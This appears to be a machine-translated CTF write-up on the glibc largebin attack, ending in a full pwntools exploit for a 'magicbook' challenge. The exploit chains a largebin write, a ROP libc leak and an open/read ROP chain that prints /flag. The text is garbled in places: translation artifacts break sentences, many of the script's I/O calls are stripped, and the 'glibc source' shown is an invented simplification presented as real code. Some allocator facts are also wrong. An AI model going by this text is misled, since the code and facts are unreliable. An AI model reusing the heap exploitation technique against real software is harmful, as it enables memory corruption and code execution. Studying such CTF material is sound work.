The largebin_attack of the frequent return home
Let's start with a brief introduction to what largebin is
largebin
is glibc'smalloc
A data structure used in implementations to manage large blocks of memory. In glibc's memory allocation, thelargebin
bebin
Part of a series used to store free memory blocks whose size exceeds a certain threshold.largebin
The design goal is to improve the efficiency of memory management and reduce memory fragmentation.
Simply put, it's used to manage larger chunks of the heap
- Starting size:
largebin
The size of the managed memory block starts atsmallbin
The range starts at the maximum value of the range + 1. Specifically.smallbin
The maximum block size is 512 bytes.largebin
The starting size is 513 bytes. - No cap:
largebin
There is no fixed upper limit to the number of memory blocks. Any free memory block larger than 512 bytes is inserted into the appropriatelargebin
Center. - When a larger heap block is released, it goes into unsortbin first, and when it is allocated again, if there is a suitable one, it splits the heap block, and the rest of it still goes into unsortbin, and if there is no suitable one then it goes into largebin
Difference between largebin and other bin
existlargebin
in which each chunk of memory block, in addition to the standard bi-directional linked table pointerfd
(forward) andbk
(backward) in addition to the additional pointerfd_nextsize
cap (a poem)bk_nextsize
. The roles of these pointers are as follows:
fd
cap (a poem)bk
: Points to the blocks of memory adjacent to the front and back of the current linked table and is used to maintain a basic two-way linked table.fd_nextsize
cap (a poem)bk_nextsize
: Points to the front and back neighboring blocks of size-ordered memory, used to maintain the size-ordered chain
Role:
fd_nextsize
: Points to the next memory block of the same size or larger than the current block.bk_nextsize
: Points to a previous block of memory that is the same size or smaller than the current block.
This structure allowslargebin
Maintains two linked lists: one in insertion order (using thefd
cap (a poem)bk
pointer), and the other is a linked list sorted by size (using thefd_nextsize
cap (a poem)bk_nextsize
(Pointer).
Large Bin
The insertion order of the
- Sorting by size: Heap blocks are first sorted from largest to smallest based on size. The smaller blocks are linked after the larger ones.
- Sort by release time: For blocks of the same size, sort them by the order in which they were released. The first block to be released comes first.
fd_nextsize
cap (a poem)bk_nextsize
Pointer:- For multiple heap blocks of the same size, only the first block (i.e., the first heap block) of the
fd_nextsize
cap (a poem)bk_nextsize
The pointer points to other blocks. - of subsequent heap blocks of the same size
fd_nextsize
cap (a poem)bk_nextsize
The pointers are all 0.
Circular chained tables:
- largest block
bk_nextsize
Points to the smallest sized block. - of the block with the smallest size
fd_nextsize
Points to the block with the largest size.
Principle:
- Largebin is a linked list of larger blocks of memory used in the glibc memory allocator. Each block contains not only pointers to the blocks before and after (
fd
cap (a poem)bk
), and also contains pointers to blocks of the same size (fd_nextsize
cap (a poem)bk_nextsize
)。 - When a block of memory is freed, it is put into the appropriate bin. If it is a large block, it goes into Largebin.
- When allocating a new block of memory, glibc tries to find the right block to allocate from the appropriate bin. In Largebin, a chained list sorted by size helps to find the right block quickly.
- An attacker could do this by spoofing pointers, especially the
bk_nextsize
, to control the behavior of the memory allocator to enable arbitrary address writes.
glibc source code analysis
1. When a block is released and meets the Largebin condition, it will be put into Largebin. The following is a list of themalloc
cap (a poem)free
Relevant parts of the operation:
void _int_free(mstate av, mchunkptr p) {
// ... other code ...
// Determine the bin to use
if (chunk_in_largebin_range(size)) {
// Add to Largebin
mchunkptr bck = largebin[bin_index];
mchunkptr fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
// Update nextsize pointers
mchunkptr next_chunk = largebin[bin_index]->fd_nextsize;
while (next_chunk != NULL && chunksize(next_chunk) < size) {
next_chunk = next_chunk->fd_nextsize;
}
p->fd_nextsize = next_chunk;
p->bk_nextsize = next_chunk->bk_nextsize;
next_chunk->bk_nextsize = p;
next_chunk->fd_nextsize = p;
}
// ... other code ...
}
2. Modificationsbk_nextsize
We need to find a way of modifying thebk_nextsize
Fields.
chunk1->bk_nextsize = Target - 0x20;
3. Allocation of new blocks to trigger attacks
When allocating a new block, glibc tries to find a suitable block to allocate. During this process, the forgedbk_nextsize
will be used to update the pointer, resulting in an arbitrary address write.
void* _int_malloc(mstate av, size_t bytes) {
// ... other code ...
if (bytes > MAX_SMALLBIN_SIZE) {
// Check Largebin
mchunkptr victim = largebin[bin_index];
if (victim != NULL) {
// Remove from Largebin
mchunkptr bck = victim->bk;
mchunkptr fwd = victim->fd;
bck->fd = fwd;
fwd->bk = bck;
// Update nextsize pointers
mchunkptr next_chunk = victim->fd_nextsize;
next_chunk->bk_nextsize = victim->bk_nextsize;
victim->bk_nextsize->fd_nextsize = next_chunk;
// Allocate the chunk
set_inuse_bit_at_offset(victim, bytes);
return chunk2mem(victim);
}
}
// ... other code ...
}
A good introduction to largebin_attack can be found through last week's contest questions
Title Address:/match/matches/207/challenges#magicbook
Title protection status: no canary protection on
64-bit ida reverse
There are 3 functions present, look at them one by one
add, there is a limit on the size and number of heap blocks that can be requested
free, not only the UAF exists, but also the 0x18 byte write at +8 of any heap block data section
edit, there is a stack overflow if the address at book is large
Sandbox protection
Idea: turn the address at book into a larger piece of data (header pointer) via largebin_attack, then read the data via stack overflow, orw
1. Request three heap blocks of size 0x450, 0x440, 0x440 (to prevent merging)
2. Release the first heap block (enter unsortbin at this point)
3. Apply for a heap block that is larger than the first heap block (enter largebin at this point)
4. While releasing the second heap block, modify the bk_nextsize of the first heap block to book-0x20 position
5. Apply for a large heap block to complete largebin_attack
6. stack overflow orw read flag
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./magicbook')
elf = ELF('./magicbook')
libc = ELF('./.6')
success('puts--->'+hex(['system']))
(' gift: ')
elf_base = int((14),16) - 0x4010
success('elf_base----->'+hex(elf_base))
ptr = elf_base + 0x4060
def add(size):
('Your choice:','1')
('your book need?',str(size))
def free0(index,ch,msg):
('Your choice:','2')
('want to delete?',str(index))
('being deleted?(y/n)','y')
('you want to write?',str(ch))
('content: ',msg)
def free1(index):
('Your choice:','2')
('want to delete?',str(index))
('being deleted?(y/n)','n')
def edit():
('Your choice:','3')
book = 0x4050 + elf_base
ret = 0x101a + elf_base
pop_rdi = 0x0000000000001863 + elf_base # : pop rdi; ret;
pop_rsi = 0x0000000000001861 + elf_base #: pop rsi; pop r15; ret;
puts_plt = elf_base + 0x1140
puts_got = elf_base + 0x3F88
fanhui = elf_base + 0x15e1
#(io)
add(0x450) #0
add(0x440) #1
add(0x440) #2
free1(0)
add(0x498)
#(io)
payload = p64(ret) + p64(0) + p64(book - 0x20)
free0(2,0,payload)
add(0x4f0)
edit()
('down your story!')
#(io)
payload = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fanhui)
(payload)
('\n')
libc_bass = u64((6).ljust(8,b'\x00')) - ['puts']
success('libc_bass---->'+hex(libc_bass))
('down your story!')
pop_rdx_12 = 0x000000000011f2e7 + libc_bass#: pop rdx; pop r12; ret;
pop_rax = 0x0000000000045eb0 + libc_bass#: pop rax; ret;
syscall = 0x0000000000091316 + libc_bass#: syscall; ret;
open = libc_bass + ['open']
environ = libc_bass + ['environ']
success('environ---->'+hex(environ))
read = libc_bass + ['read']
payload = b'a'*0x28 + p64(pop_rdi) + p64(environ) + p64(puts_plt) + p64(fanhui)
#(io)
(payload)
('\n')
stack = u64((6).ljust(8,b'\x00')) - 0x148 + 0x20
success('stack---->'+hex(stack))
('down your story!')
flag = stack + 0xb8
payload = b'a'*0x28 + p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)*2 + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) +p64(0)+ p64(pop_rdx_12) + p64(0x30) + p64(0) + p64(read)
payload += p64(pop_rdi) + p64(stack + 0x100) + p64(puts_plt)
print(len(payload))
payload += b'/flag\x00\x00'
#(io)
(payload)
()
Summary:
Largebin Attack Utilization Conditions and Procedures
Utilization conditions:
-
Modify permissions: Can modify the
bk_nextsize
Fields. -
Heap Block Allocation: The program is able to allocate blocks of at least three different sizes and ensure that these blocks are closely adjacent.
Utilize the steps:
-
Allocate heap blocks:
-
Allocate a block of size
size1
and within the Largebin rangechunk1
。 -
Allocate a block of any size
pad1
to prevent the release of thechunk1
The system merges it with the top chunk. -
Allocate a block of size
size2
and within the Largebin rangechunk2
Requirementssize2 < size1
both (... and...)chunk2
close neighborchunk1
。 -
Allocate a block of any size
pad2
to prevent the release of thechunk2
The system merges it with the top chunk.
-
-
Released and reallocated:
-
liberate (a *er)
chunk1
The system puts it into an unsortedbin and allocates another bin with the size ofsize3
The blocks that requiresize3 > size1
At this point, the system willchunk1
Put it in Largebin. -
assure
chunk2
close neighborchunk1
。 -
liberate (a *er)
chunk2
Go to unsortedbin.
-
-
Modify the pointer:
-
modifications
chunk1->bk_nextsize
because ofTarget - 0x20
。
-
-
Trigger attack:
-
A Largebin attack is triggered by arbitrarily allocating a heap block with access to unsortbin.
-